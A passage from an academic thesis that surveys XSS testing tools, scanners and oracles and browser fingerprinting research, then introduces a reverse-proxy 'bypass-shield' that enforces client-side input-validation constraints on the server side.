CasperJS 45 is an automation frontend to PhantomJS and SlimerJS allowing the
deﬁnition of a high level automation scenario for web application testing, support for
TriﬂeJS is an ongoing discussion 46.
Selenium
Selenium web driver 47 is a web browser driver for web application testing automation.
It works as a browser plugin and can drive several browsers [67].
JsTestDriver
JsTestDriver 48 is a JavaScript unit testing framework oﬀering a DOM control for
the tester. HTML code can be speciﬁed in the test setup to allow the tested function to
interact with a real DOM structure. The DOM related operation are done using speciﬁc
code comments instructing JS Test Driver to add a given content to the test Iframe
through the InnerHTML function.
Once the automation tools are selected, one question remains: Can I use this tool as
an reliable XSS execution oracle? To properly answer this question, we need to check if
it can cover the execution of all known XSS vectors. We will try to bring an answer to
this question in this thesis through chapter 6 and chapter 5.
2.3.3 XSS Vulnerability Testing: Between Hacking and Software En-
gineering
Cross Site Scripting (XSS) vulnerability testing consists in ﬁnding XSS vulnerabilities
within softwares. This can be achieved in many ways using static or dynamic source code
analysis in white box approaches [68], or using fuzzing and bypass testing in black box
approaches [69].
2.3.3.1 XSS Testing in the Industrial World
In the industry, two big families of tools exist for black box web application security
testing: one family is designed automated security testing and mainly consists of black
box web application fuzzers and vulnerability scanners. The other one is aimed at manual
security testing and are mostly advanced bypass testing proxies easing the discovery phase
of web application penetration testing, and providing some sort of automation for the
bypass testing.
45. http://casperjs.org/
46. https://github.com/n1k0/casperjs/issues/688
47. http://docs.seleniumhq.org/projects/webdriver/
48. https://code.google.com/p/js-test-driver/
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Black Box Web Application Vulnerability Scanners
Several of these web application vulnerability scanners were compared by Doupé et al.
in. [70]; and it revealed many issues in the eﬃciency of their XSS vulnerability detection,
notably for stored XSS and DOM XSS.
The main strategy in XSS vulnerability detection in industrial tools is to detect the
inputted string in the application outputs. Thus this strategy can be eﬀective only with
reﬂected XSS. Some scanners use random strings stored in a history, and look for it in the
application response, in this case, the application coverage is the issue. All inputs are not
systematically detected, and all outputs can't be fully visited with the right parameters
to trigger the stored XSS.
We analyzed some open-source scanners like W3AF 49. Besides the web application
crawling and coverage, the main issue with the vulnerability scanning plugin is the limited
number of fault triggering pattern used. For XSS for example, too few XSS vector are
used in the testing process. Moreover, the detection scheme based on string matching
can lead to false positive results where the string is indeed sent back to the user, but in
a web page context denying the eﬀective execution of the JavaScript code. In the newest
version, W3AF uses PhantomJS (see 2.3.2) for the crawling, allowing it to eﬀectively
cover AJAX functions, but no progress was made in the XSS testing oracle.
The improvement of the XSS scanner plugin by the addition of a consistent dataset of
XSS vectors for testing greatly improves its performance. The same remark can be mad
for the SQL injection vulnerability detection plugin: increasing the number of attack vec-
tors in a testing tool increase its chance to trigger the vulnerability in a black box testing
method. This statement was shared with Dessiatnikov et al. during our collaboration on
the DALI 50 project [71].
Here is a non exhaustive list of web application vulnerability scanners from the in-
dustrial world:nikto 51, W3AF 52, Skipﬁsh 53, Arachni 54, Wapiti 55, Xsser 56, Accunetix
Appscan 57, HP Webinspect 58. Owasp Xelenium [72] is a prototype of a XSS testing
scanner based on Selenium (see section2.3.2). It is a promising approach, because it can
handle cases of reﬂected XSS combined with DOM XSS vulnerabilities. That corresponds
to the reality when the user's data is outputted in a JSON format mangled by JavaScript
and printed back in the web page DOM (see ﬁgure ??). But this tool is still in a very
early stage of development, and the project seems abandoned.
The only exception in this category is the Xenotix XSS testing tool [73] that embeds
3 diﬀerent browser engines to deal with browser-speciﬁc XSS vectors: Trident from IE,
49. http://w3af.org/
50. http://dali.kereval.com/
51. https://www.cirt.net/Nikto2
52. http://w3af.org/
53. http://wapiti.sourceforge.net/
54. http://www.arachni-scanner.com/
55. http://wapiti.sourceforge.net/
56. http://xsser.sourceforge.net/
57. http://www.acunetix.com/vulnerability-scanner/
58. https://download.hpsmartupdate.com/webinspect/
44
CHAPTER 2. STATE OF THE ART
Webkit from Chrome/Safari and Gecko from Firefox.
Bypass Testing Proxies
Web proxies that allow an attacker to analyze HTTP requests and responses, ma-
nipulate them, and automate tedious task like fuzzing a given parameter. It oﬀers many
encoding and decoding functions for various data formats (JSON, URL encoding, HTML
encoding, Base64, etc. . . ), syntax highlighting and other handy features. These tools of-
ten embed some rudimentary XSS scanners that use patterns matching of built-in XSS
vectors to look after them after their injection in the web application. Belonging this
family we can list: Burp Suite 59, Paros Proxy 60, Zap Proxy 61 (an open-source fork of
paros), WebScarab 62 (the predecessor of Zap Proxy from the OWASP).
Taint-Analysis Based Tools
The DOMinator project use taint analysis to uncover DOM XSS 63. It identiﬁes sink
and sources in the JavaScript code to spot potential injections point. When a sink is
tainted by a user source, a potential DOM XSS vulnerability is discovered. Then the
tool analyzes the sink context and the source context to determine the impact of the
vulnerability. The only drawback of DOMinator is that its works only with Gecko and
SpiderMonkey and will miss browser-speciﬁc DOM XSS cases.
RIPS is a PHP source code scanner based on taint analysis. It works with the same
technique as DOMinator for cross site scripting, and is able to identify potential reﬂected
XSS. Its code is under heavy rework and Dahse et al. recently published the evaluation
results of the new version [74].
2.3.3.2 XSS Testing in the Academic Field
As far as we know, no previous work has studied how to automatically execute and
compare a set of XSS test cases. However, several works proposed techniques and tools
for automatically testing the security policies (access control policies) [75], [76], [77], [78].
Others oﬀer frameworks and techniques to test the systems from their interfaces [79],
[80]. Closer to the XSS testing technique we will discuss in this thesis is the approach
of bypass testing proposed by Oﬀutt et al. [75] [81]. We talk along the same lines in
chapter5, but with a speciﬁc focus on XSS test selection and systematic benchmarking
through testing (and we do not bypass client-side browser mechanisms since it's a part
of the XSS target)
Similarly to Su's statements [12] Huang et al. [82] proposes to mutate and inject faulty
inputs, including SQL injection and XSS against web applications. But this tool called
59. http://www.portswigger.net/burp/
60. http://www.parosproxy.org/index.shtml
61. https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project
62. https://www.owasp.org/index.php/Category:OWASP_WebScarab_Project
63. https://dominator.mindedsecurity.com/
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WAVES does not provide any diagnosis technique to distinguish the various security
layers and validate the capacity of a XSS vector to pass in a web browser or not.
The only XSS test case evaluation methodology we found was done using mutation
based testing [83]: a test data set was qualiﬁed by mutating the PHP code of ﬁve web
applications. XSS attacks were used to kill the mutants. In their study, they do not
consider the impact of the browser on the eﬃciency of a XSS vector, thus introducing a
bias in their experiments. They also used similar sources for the XSS vectors, and used
them without adapting them to the speciﬁc injection point. Doing this, one introduces a
bias in the eﬃciency of the attacks.
Learning attack patterns to inject from real XSS attacks was experimented by Wang
et al. [84]. They used a hidden Markov model to build a grammar in order to generate
a XSS attack from it in a later step. The ﬁrst issue in their work comes from the poor
dataset they extracted from XSSED. Most XSS vulnerabilities reported in this website
are very simple attacks, employing mostly basic XSS vectors. The second issue is the
lack of an automated XSS execution oracle. The strength of Wang's et al. approach is
the adaptation of the input to ﬁt an output goal in the same way an attacker does.
Attacks should be tailored to the injection point to be eﬀective like in Duchene's et
al. approach [85]; otherwise, depending on the injection point, a successful XSS attack
can become ineﬃcient. To properly adapt the attack to the output, Duchene et al. used
a grammar to generate the inputs and a genetic algorithm to drive the attack generation
towards the result. Another original approach of Duchene's et al. work is the use of
taint inference to avoid the need for website-source access to identify sink and sources in
the web application. The only ﬂaw in this approach is the use of a single instrumented
browser.
Some other research tools rely on HtmlUnit as a XSS oracle or for script detection in
HTML [64] [65] [66], but HTML Unit wasn't designed as a XSS testing oracle, and no
study was done on its ability to identify some of the most twisted JavaScript execution
cases publicly available.
The question of a proper security oracle in XSS vulnerability testing is still an ongoing
research. The latest work from Avancini et al. aims to provide a safe model learnt from
the web application [86]. When a XSS occurs, a change in the HTML structure diverges
from the safe model. This is only true for stored and reﬂected XSS. Moreover, XSS vectors
used in the assessment of the security oracle were limited to those used in the wapiti web
scanner, which is far less than the full corpus of existing XSS vectors available.
In order to handle all forms of XSS in a web application, a browser engine is required to
manage DOM XSS and mutation based XSS (mXSS). A browser engine is also required
to avoid false positives in XSS vulnerability detection as a testing oracle. Finally the
crawling of a web application requires a browser engine to handle AJAX application
crawling.
2.3.4 Discussion on XSS Attack Surface Evaluation
XSS vulnerability testing often relies on general-purpose XSS vectors or doesn't use
the suited browser for a given vector. XSS Testing is focused on the discovery of XSS
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vulnerabilities and doesn't propose XSS vector qualiﬁcation, relying on existing public
XSS vector lists. Moreover no proper qualiﬁcation test suites are available to assess the
eﬀectiveness of a XSS testing oracle. Thus it implies that during XSS testing, many tools
miss vulnerabilities either by not bypassing eﬃciently the security ﬁlters due to the lack
of exhaustiveness in the XSS vectors used or by the ineﬃciency of the XSS testing oracle
to detect eﬀective execution of JavaScript of a peculiar XSS vector.
To sum it up, XSS vulnerability testing is related with the following research issues:
 test selection. XSS testing requires an exhaustive and qualiﬁed dataset of XSS
vectors, this work is currently manual, thus we need a tool to automate XSS
vector qualiﬁcation.
 test generation. Finding new vectors to improve XSS vulnerability testing requires
a way to test a XSS vector against several browsers.
 test oracle. Several incomplete test oracles are used in XSS vulnerability testing.
From pattern matching to HTML parsing tools, nothing yet come close to the
completeness of a browser engine as an oracle. But the diversity of browser versions
and vendors might hinder the eﬃciency of a single browser's engine as a XSS
testing oracle. Measuring the impact of browser diversity on the eﬃciency of a
XSS vector test set is highly desirable.
Thus we need a tool to automatically qualify XSS vectors by testing them against a
great number of browsers. This testing tool could also fulﬁll the role of a XSS execution
oracle-testing tool by replacing the browsers by the oracle and analyzing the diﬀerences
between the browsers' results and the oracle's results.
2.4 Browser Fingerprinting: a Security & Privacy Issue
Our work to improve privacy
continues today.
Mark Zuckerberg CEO of
Facebook
We saw that browser diﬀerences bring several security challenges. In the privacy ﬁeld,
browser ﬁngerprinting consists in spotting these diﬀerences to distinguish between users
or browser versions.
By studying the existing research on browser ﬁngerprinting, we can have an idea of
how many diﬀerences exist between browser vendor's implementations, or between an
oracle and a given browser, and try to determine if those can be of any use to an attacker
to avoid existing detection techniques.
This section is structured as follows:
 The ﬁrst part deals with user identiﬁcation via browser information: how a user can
be tracked through it, and what part of this tracking is related to the identiﬁcation
of the browser version.
 Second part brings a focus on speciﬁc techniques for the identiﬁcation of the
browser version, split between active and passive ﬁngerprinting. Active ﬁnger-
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printing is typically used in drive-by download attacks, whereas passive ﬁnger-
printing can be very useful for intrusion detection (ex: spotting an unauthorized
browser on the company network).
 The Third part brings a new point of view on browser ﬁngerprinting as a security
tool.
 The last part introduces a research question that will be answered in chapter 6.
2.4.1 User Identiﬁcation Through Browser Instance Information
A major concern for marketing companies is to identifying a user on the Internet
through various information; they can spot user's preferences on various topics to select
advertisements accordingly. User ﬁngerprinting serves here as a form of permanent un-
removable cookie identifying the user, so he can be linked to his web surﬁng habits and
tracked across the web.
In this paper, Eckersley et al. collects bits of information from various browser prop-
erties (user agent string, screen resolution, installed fonts and plug-ins) to ﬁngerprint
the user browser [87]. These pieces of information are collected through Java, Flash, and
JavaScript. Analyzing all these properties is often enough to uniquely identifying the user.
Compared to our work, the diﬀerences are important. The ﬁrst one is that they uniquely
identify a browser instance and that does not necessarily imply knowing the browser
type and version, useful information for attacks or counter-measures. Another diﬀerence
is that Panopticlick uses Java, Flash, and JavaScript, which is a strong assumption on
the client browser capabilities.
Cookieless monster: Exploring the ecosystem of web-based device ﬁngerprint-
ing
Nikiforakis et al. studyed three commercial web-based ﬁngerprinting techniques and
compared them with Ekersly's et al. implementation [88]. They also proposed and eval-
uated a new ﬁngerprinting technique based on screen JavaScript object properties and
navigator JavaScript object properties. By exploring the properties' order and by observ-
ing browser behavior upon addition and deletion from the JavaScript execution context,
they highlighted several discrepancies between browsers implementations. This technique
focus only on the JavaScript API exposed by the browser.
Passive OS Fingerprinting (pOf)
p0f is a passive OS ﬁngerprinting tool mainly developed by Michael Zalewski. The
ﬁngerprinting is based on observed variations in captured TCP packets properties. These
variations are classiﬁed using several methods: k-nearest neighbor (KNN), binary tree,
multi-layer perceptrons (MLP) and support vector machine (SVM). The conﬁdence in a
technique depends on the number of ﬁelds analyzed. p0f was the subject of an evaluation
by Lippmann et al. [89] in 2003 showing how OS ﬁngerprinting could be a major advan-
tage in Intrusion Detection Systems: the use of the OS attack surface analysis combined
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to ﬁngerprinting permits to dismiss an alert when a vulnerability cannot be exploited on
the passively identiﬁed OS.
Many evolutions were recently added in p0f version 3 such as browser ﬁngerprinting
based on HTTP header properties: discriminating elements used for this part are optional
headers, headers count, their order, and PCRE applied on user-agent ﬁeld.
Fingerprinting Information in JavaScript Implementation
Mowery et al. uses measures from 39 performance tests to generate a signature in the
form of a 39 dimension vector representing test timing results [90]. They have a browser
family detection rate of 98.2% in the conditions of the experiment. But when dealing
with subversions of given browsers, the precision drops to 79.8% for major version iden-
tiﬁcation. The most interesting contribution is the underlying architecture ﬁngerprinting
capability.
Fingerprinting JavaScript Implementation using conformance testing
In their paper, Mulazzani et al.?? use ECMAScript conformance testing to highlight
discrepancies between JavaScript implementations. Since each browser family relies on
its own JavaScript engine, it can be used to identify browser's family accurately. The
experimental study provides no details about the empirical test like major version tested
for each family or if a minor version could be identiﬁed.
Passive Fingerprinting of User Agent from Network Flow Logs
Yen et al. use machine learning to passively ﬁngerprint browsers based on their net-
work behavior [91]. The number of TCP connections launched, number of requests and
frequency, all these parameters are dependent on the browser implementation and pro-
vide a ﬁngerprint that can be automatically built out of Bayesian belief networks. The
main advantage of this technique is that it only needs coarse traﬃc summaries to iden-
tify the browser family. They use two techniques to classify the browser: per-browser or
generic classiﬁers with a maximum diﬀerence in precision of 15%.
Fingerprinting Using Browser Scripting Environment:
Fioravanti proposes the use of various JavaScript features and speciﬁc API elements
to determine the browser's family [92]. But these elements collected from JavaScript can
be altered by the usage of a speciﬁc plugin (like user-agent switcher in Firefox) or by
overwriting the tests results with the correct values.
2.4.2 Browser Fingerprinting as a Tool
Browser ﬁngerprinting can also have legitimate uses for security purposes, the same
way ﬁngerprints are used for physical access control.
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Fraud Detection
It consists in identifying the browsers regularly used by a website customer and
triggering an alert when this browser change. If a customer's account is hijacked, the
browser's information identifying the user will likely change like the IP address location,
the User-Agent, resolution settings, operating system version etc. Several companies be-
hind the commercial ﬁngerprinting tools studied by Nikiforakis et al. [88] sell this tool
under the fraud detection label. Thus one can imagine an user authentication using user-
related parameters as an extra key to access critical functions of the system similarly to
the ﬁngerprint scanner used for physical access control.
Detection of XSS Proxiﬁcation
XSS proxiﬁcation consists of using a XSS vulnerability on a website to force the
victim's browser to request web pages on behalf of an attacker and to send the result
back to it. In other words, it turns the victim's browser in a traditional HTTP Proxy.
The beef project tunneling proxy features implement such an attack 64.Detection of XSS
proxiﬁcation with all kinds of techniques based on TCP network shape, HTTP headers
(incl. user-agent) and IP addresses is vain, since the infected browser itself does the
request. However, browser ﬁngerprinting can be used to detect XSS proxiﬁcation since
the browser engine of the attacker is likely to be diﬀerent from the proxy engine.
Recapitulation
Fingerprinting can have many security beneﬁts too, depending on how these tech-
niques are used, it can be privacy issue, a security threat or a solution.
A fair trade between security & privacy concerns is required in every system. Having
people accountable for their acts in the numeric world require a reliable identiﬁcation.
This identiﬁcation can come at the cost of privacy. But it only become a privacy concern
when its done on behalf of the user.
Many elements can be used to distinguish between browsers, but hopefully none of
these ﬁngerprinting technique have been used in the wild in EK yet. They are often
considered under the privacy viewpoint, but as we have seen earlier, any ﬁngerprinting
mechanism allowing to identify a browser's version is a risk for security. The ﬁngerprinting
technique we expose in chapter 6 will only be explored under the security viewpoint, but
it also have a privacy impact too.
None of the aforementioned techniques have been used to asses the quality of honey-
clients. This is out of the scope of this thesis, but it might be a good alternative source
of test cases.
64. https://github.com/beefproject/beef/wiki/Tunneling-Proxy
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2.5 Browser Diversity Challenges Recapitulation
An injection attack results in the Abstract Syntaxic Tree (AST) transformation of the
targeted language by user inputs. Evasion techniques results in an attack transformation
to ﬁt the target parser's speciﬁcities and is not understood by other parsers. Like the
developer trying to parse HTML with regular expressions 65, putting the wrong type of
grammar to parse a given content is the ﬁrst mistake made in current NIDS and WAF
against XSS attacks. The second mistake is having a diﬀerent grammar than the one
used within the component you aim to emulate. This results in a diﬀerent view for the
same data, leading to an erroneous analysis. Thus assuming all HTML parsers are similar
since HTML is standardized is a huge bias. Thus to assess the real detection capabilities,
we need a benchmarking tool to compare browser emulation with real ones and evaluate
similarities between the test results. If the variations between browser versions or browser
families is wide enough, this diﬀerences might be also used as a ﬁngerprinting mechanism.
Su et al. [12] had the right model for SQL injection issues, to make this model works
with XSS, we have to ﬁnd a way to cover all the cases encountered with existing vectors.
Maybe we could reuse existing instrumented browsers. The SWAP approach is inspiring,
using a real browser to identify executed scripts is way much better than using a generic
HTML parser. But JavaScript has to be executed to deal with DOM XSS. The SWAP
issue about possible crash on browser engine isn't an issue anymore if we render this turn
it into a non-perturbing detection system.
The position in the information system is key too in detecting client-side attacks.
We can't stay focused only on the web application itself because they all use third party
element in their client-side code. Either for authentication in Single Sign On (SSO)
chains, or for marketing purposes or social interaction. An attacker tricking the user into
clicking a link can fragment attack information 66, which will be incomplete on the web
server level. In a corporate environment, the Internet access proxy also has an incomplete
view of the attacks since it can't see intranet traﬃc, thus missing internal threats.
A network-wide detection is a good position to see the whole picture of a client-side
attack in a corporate network, all exchanges between the user-agent and all servers he
accessed is here. but it is supposed to solve TLS decryption using lawful interception,
and to have a honeyclient able to impersonate all user-agents in use in the monitored
network. Such impersonation must be properly tested to spot any discrepancies in behav-
ior between the honeyclient and the user-agents in use. Advances in drive-by download
detection brought by Heiderich et al. in IceShield [40] can then be used without the hassle
of deploying a user-agent patch.
Mapping diﬀerences between browsers behaviors at the JavaScript level is largely cov-
ered in ﬁngerprinting studies. A good honeyclient will have to handle all the ﬁngerprinting
challenges sent by attackers. JavaScript analysis is largely covered but if the honeyclient
misses a script declaration carried by a XSS vector, it won't be able to emulate it. Thus
65. ref StackOverﬂow every time you use a regexp to parse HTML, a kitten die
stackoverflow.com/a/1732454/1990684
66. see fragment identiﬁer http://en.wikipedia.org/wiki/Fragment_identifier
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honeyclient should be tested against ﬁngerprinting techniques , HTML quirks and DOM
based evasions. Another argument in favor of a browser crash test containing all possible
quirks related to JavaScript execution: XSS vectors.
Thus we believe XSS vector testing is a key technique for the following reasons:
 test case selection for XSS vulnerability testing,
 test oracle validation for XSS vulnerability testing,
 honeyclient validation against HTML and DOM quirks used in XSS vectors and
exploit kits,
 browser attack surface monitoring and reduction,
 it might lead to a new ﬁngerprinting techniques.
The remainder of this thesis is organized as follows: In section 3 we will describe
the issues we encountered in client-side attack detection. These issues lead to our XSS
vector testing tool the XSS Test Driver we describe in chapter 4. Based on this tool we
analyzed the browsers' attack surface and regression issues on this attack surface. Using
the observed variations between attack surfaces we propose a new browser ﬁngerprinting
technique based on XSS vectors :XSS-FP in chapter6 . We will depict in chapter 7 how
client-side honeypots should be tested, and will propose a new generic architecture for
the detection of client-side attacks at the network layer.
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Chapter 3
Tailored Shielding and Bypass
Testing of Web Applications
Validating input data on the
client is like asking your
opponent to hold your shield in
a sword ﬁght
Jeﬀ Oﬀut
User input validation is the generic countermeasure used to secure web applications.
In the web context, user input validation can be performed from the client-side (HTML
pages) to the server-side (PHP or JSP etc.). When this validation is performed on the
client side, a threat exists because hackers can bypass these checks and directly send
malicious data to the server. In this chapter, we present a black-box approach for shield-
ing web applications against bypass attacks, called the bypass-shield. We automatically
analyze HTML pages in order to extract all the constraints on user inputs in addition
to the JavaScript validation code. Then, we leverage these constraints for an automated
synthesis of a protection running in our bypass-shield, a reverse-proxy that protects the
server side. The originality and main contribution of this chapter is to oﬀer a solution
speciﬁcally tailored to the web application, through a preliminary learning/analysis step.
An experimental study on several open-source web applications evaluates the eﬀective-
ness of the protection tool and the diﬀerent ﬂaws detected by the testing too and the
impact of the Shield on performance.
3.1 Introduction
An important property shared by most web applications is to divide the applica-
tion code in two parts. The main part executes on the server, while the client part
includes a browser in charge of the interpretation of the HTML and JavaScript code
(other components exist like Flash, Java applets, ActiveX etc.). In this architecture, the
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input validation of the web application is performed both by the client and server sides.
In practice, many validation treatments are under the responsibility of the client. Decen-
tralizing the execution of input validation enables the alleviation of the load of inputs to
be checked by the server-side. Incorrect user inputs are detected by the client-side code
(HTML and JavaScript code) and not sent to the server. This architecture implicitly
assumes that the client is expected to check the validity of its inputs before calling the
server, while the server is responsible for its outputs. This is a perfect example of design-
by contract [93] that relies on the assumption that both parts are trustable. However,
the assumption that the client is trustable is dangerous, as recalled by J. Oﬀutt: [56]
Validating input data on the client is like asking your opponent to hold your shield in
a sword ﬁght. It is not possible to trust the execution of the validation on the client
side. For this reason, it is highly recommended to duplicate the validation process and
perform it on the server side. In addition, input validation is a serious security issue.
The SANS TOP 25 1 reports that one of the main vectors of attacks is input validation.
Relying on the client will weaken the input validation. In fact, a malicious user is able to
modify the JavaScript code using some plugins (see state of the art section 2.3.1). These
tools enable the potential attacker to bypass the client-side by modifying the HTML and
JavaScript code and thus disabling the client-side input validation. Therefore, hackers
can bypass the client-side input validation and send malicious requests to the server-side
directly. Furthermore, the server cannot detect that client-side input validations have
been disabled or hacked. An analysis of bypass-based attacks has been initially proposed
by Oﬀutt et al. [56] [81], demonstrating that the n-tiers architectures may lead to security
vulnerabilities, or at least to robustness problems for the server side. As a basic counter-
measure, it is recommended to carefully ﬁlter and check user inputs. In this chapter, we
propose an automated black-box process, which either allows:
 To audit the server-side in order to locate the weaknesses/vulnerabilities (in that
case the server side application code needs to be manually, adapted) through
systematic bypass testing [56];
 or to shield it by building a reverse proxy security component, called bypass-shield
that captures the client-side validation constraints, extends them, and enforces
them.
This shield implements the contracts between client and server as an independent
component, making a design-by-contract applicable in the context of web application
security and robustness. The common mechanism we use for both analyses is a semi-
automated extraction of client-side validation constraints (HTML and JavaScript). On
one hand, shielding the application involves building an in-the-middle component,
which is the trustable intermediate that guarantees that contracts are fulﬁlled by the
client (because located on the server-side). On the other hand, bypass testing involves
systematically violating these constraints. Then, requests are built to include some er-
roneous or malicious data. Finally they are sent to the server and may lead to ﬁnding
robustness and security problems.
1. http://www.sans.org/top25-software-errors/
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The remainder of this chapter is organized as follows. Section 3.2 presents additional
background concepts and presents the limitations and the main diﬀerences between our
approach and existing approaches. Section 3.3 explains the overall approach and describes
the process. While, Section 3.5, 3.6 and 6 detail each of the three processes included in the
approach, respectively, the client-side analysis for collecting the constraints, the bypass-
shield and the automated bypass-testing. Then, Section 3.7 presents the empirical results.
Section 3.8 describe our ﬁrst attempt to detect client-side attack with the shield. Finally,
Section 3.9 concludes.
3.2 Context
This section introduces the main concepts used in this paper. It presents the input
validation architecture used in web applications and the client-side validation techniques.
Afterwards, it details the related work discussing the existing approaches along with their
advantages and limitations in both academia and security industry.
3.2.1 Deﬁnitions
Pre- and Post-condition
The constraint a parameter must satisfy. The client is expected to check the validity
of the input before calling the server, while the server is responsible for its outputs. Input
Validation: The process of validating user inputs. It can be performed in the client-side
and in the server-side.
Client-side Pre-conditions
They are preconditions that are checked by the browser. They are expressed by HTML
code (like maxlength) or Java- Script functions. These constraints are part of the client-
side input-validation process. They enforce limitations and tailor conditions on the user
inputs.
Black box
We deﬁne a black box technique as any technique that does not require the access
to internal information (for instance the application code). Extracting the information
(URLs, forms, cookies) that clients can get from the server is thus a black-box technique.
This is typically the information a hacker exploits to perform attacks.
3.2.2 Client-Side Validation Techniques
The traditional client-server architecture deﬁnes a distributed model which involves
two diﬀerent places where the application code executes. Erroneous data is detected at an
early stage, on the client-side and is not sent to the server. Therefore, the code executes
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on the client machine and the server does not intervene. client-side input validation is
implemented through two diﬀerent kinds of code:
 Hardcoded HTML code;
 JavaScript code.
Hardcoded HTML code allows the deﬁnition of a set of predeﬁned constraints. These
constraints are implemented by expressing the corresponding tag property. For instance,
the max length constraint has to be expressed within the input tag (like maxlength=20).
Other constraints are expressed by choosing one particular tag. By construction, it con-
strains the kind of user inputs. Check boxes can only be checked or unchecked. In the
radio button group, only one can be checked.
JavaScript code makes it possible to express more advanced and speciﬁc constraints.
By using JavaScript code which includes conditions, loops and regular expressions (among
other code facilities) it is possible to express any constraints on the user inputs. This
JavaScript code can be executed before submitting the form to the server-side. Erroneous
inputs are rejected by the JavaScript code and not sent to the server. Then a message is
displayed to the end user to indicate the erroneous inputs that should be corrected.
To give the intuition of a typical JavaScript constraint, we present the following
JavaScript code in listing 3.1 that allows email checking.
Listing 3.1  JavaScript email constraint
1 function checkEmail(myForm) {
2 if (/^\w+([\.-]?\w+)*@\w+([\.-
3 ]?\w+)*(\.\w{2,3})+$/.test(myForm.emailAddr
4 .value)) {return true;}
5 alert("Invalid Email"); return false; }
3.2.3 Scope of the Contribution and Related Work
This paper describes a proxy-ﬁrewall for web applications, called bypass-shield. It
checks and blocks invalid user inputs on the server-side. The rules to be checked are
automatically inferred from a learning phase (involving parsing the web pages) during
which HTML and JavaScript codes are retrieved. The rules can then be manually tuned to
oﬀer a tighter control. The learning phase also produces a complete test suite with invalid
inputs. These tests can be used to evaluate either the eﬃciency of the proxy-ﬁrewall or the
behavior of a web application when invalid inputs are sent. It is important to note that
we do not aim at protecting Ajax-based web apps. There are other techniques that target
speciﬁcally Ajax based web apps (for instance [94]). The idea of a proxy-ﬁrewall for web
applications is well known and a variety of commercial and free tools already exist. The
originality and main contribution of this paper is to oﬀer a solution that is specialized for
each application through a preliminary learning phase. Existing web security techniques
help:
 Auditing/testing vulnerabilities from a black-box perspective (as seen in the state
of the art section 2.3.3.1).
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 Auditing vulnerabilities from a white-box perspective using static analysis of the
application code.
 Protecting/shielding the client side for the server (see section 2.2.6).
 Protecting/shielding the server side (see section 2.2.4) using signature-based tech-
niques.
In this chapter, none of these approaches is used to shield the application and test
it. The techniques in point 2 and 3 are outside the scope of this chapter. White-box
auditing aims at cleaning the internal code from potential vulnerabilities before deploying
or installing the software. The application code is statically analyzed to detect malware
or security breaches. Shielding the client-side is a diﬀerent task. Several protecting tools
can be used to protect clients from security threats. (see section 2.2.3).
Black-box auditing/testing tools, like the open-source tool W3af (see section 2.3.3.1)
are mostly generic tools based on known library of attack patterns that are sent to the
server. Most of these tools are speciﬁc to one attack pattern and are optimized for one
speciﬁc web technology. These automated tools cannot replace security experts who can
execute more sophisticated attacks based on their knowledge of the web applications. In
this chapter, we do not focus on generating test cases based on already known patterns
but on extracting and violating the speciﬁc pre-conditions of the web application inputs.
Our approach is thus diﬀerent from these generic tools and tries to assist the task of the
security expert who tailors his analysis for a speciﬁc web application.
The solutions for shielding the server side (point 4) are mainly signature-based in
the sense they monitor the inputs that are sent to the server and check if they conform
to a speciﬁc attack signature. The suspected input is sanitized or the request is simply
rejected. There are two main drawbacks for these tools. First, they can easily be bypassed
using new patterns, for instance by encoding the input to be undetected.
The second main limitation of these tools is that they are not speciﬁc to the applica-
tion. This makes it diﬃcult for these tools to detect attacks that violate the pre-conditions
speciﬁc to the application, which may lead to the crash of the database (even a maxlength
constraint violation is undetected).
This paper focuses on the second limitation, proposing a test case generation targeting
the speciﬁc preconditions of a given web application. A list of all these testing and
protection tools is maintained by the OWASP community 2.
There are two approaches which are close to our approach [95] [96] and which focus
more generally on testing the input validation mechanisms [95] and on bypassing client
side validation to discover parameter tampering attacks [96] using a similar approach.
However, our technique provides the same testing capabilities and extends them to enable
an automated shielding of the web apps against bypass attacks.
Bypassing client-side validation is a well-known security issue and penetration test-
ing has been using client side validation bypass to validate web applications. Oﬀutt et
al. formalized the concept of bypass testing [56] and deﬁned its main characteristics.
The CyberChair web application (a popular submission and reviewing system used for
conferences) served as a feasibility case study to provide initial insights on the eﬃciency
2. https://www.owasp.org/index.php/Phoenix/Tools
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of bypass-testing strategy. They tested it by using bypass testing strategy and they suc-
ceeded in uncovering serious bugs. For instance, they were able to submit papers without
authentication by exploiting bypass testing.
They also proposed an automated tool for bypass testing. They used it to test a simple
case study STIS (Small Textual Information System, a web application they built). In
their approach, they proposed three diﬀerent strategies for generating test data. All these
strategies targeted testing the robustness of the web application by sending invalid inputs,
sets of inputs or by violating the control ﬂow (by breaking expected execution scenarios).
This work extends and puts more automation in the process of bypass testing to
include semi-automated crawling and testing of the security of the web application, dis-
tinguishing between security and robustness bypass testing. Testing security involves
diﬀerent test data and a diﬀerent oracle function than robustness testing. More impor-
tantly, the novelty of the proposed approach lies in the Shielding part. The bypass-shield
is constructed using the same artifacts that are used to generate the inputs violating the
constraints. By construction, it allows the protection of the web application against the
very invalid inputs used to test the servers.
Oﬀutt et al. applied their approach to an industrial case study [81], a web application
developed by Avaya Research Labs. They were able to discover 63 failures using 184 test
cases. However their approach was not automated and the discovered failures were minor
mainly because the bypass-tests did not include attack patterns.
3.3 Overview of the Approach
From the same initial treatment, the parsing of the web page, the process we propose
allows the derivation of a reverse-proxy (bypass-shield) and the creation of robustness and
security test cases to validate the shield. Figure 3.1 shows an overview of this process.
Two tools have been developed, the Bypass Shield and the Bypass- AutoTest, into the
framework of the French ANR DALI project (focusing on application-level intrusion
detection).
The pre-conditions are Boolean expressions that evaluate to true if the value is correct
and false when it is not (the input value is violating the precondition). The overall process
involves three main steps.
The ﬁrst step involves parsing systematically all pages in order to collect forms along
with their respective inputs and pre-conditions. Then these client-side constraints are
stored in a ﬁle. The result of this step is used in the next two steps. The diﬃcult points
and originality of this ﬁrst step are:
 To exhaustively analyze a website in depth. This means taking into account the
login process to access all website pages. In addition to an automated crawler,
manual navigation is needed to completely parse the website;
 To deal with JavaScript code used for validating user inputs.
The second step aims at shielding the web application using the initial set of con-
straints collected at step 1. It results in a reverse-proxy, called bypass-shield, which
intercepts and checks the inputs from the client as well as server responses. The collected
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Figure 3.1  Pre-condition based Testing and shielding of web applications
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preconditions are completed with automated and manual pre-conditions. The automated
pre-conditions are based on a dictionary listing a set of constraints to be applied to spe-
ciﬁc inputs (for instance emails have a speciﬁc format). The shield contract manager uses
the name of the input to ﬁnd any available predeﬁned constraint. This task leaves out
untreated inputs. The manual addition of constraints completes the automated process
by providing a user-friendly tool to add new pre-conditions. The obtained pre-conditions
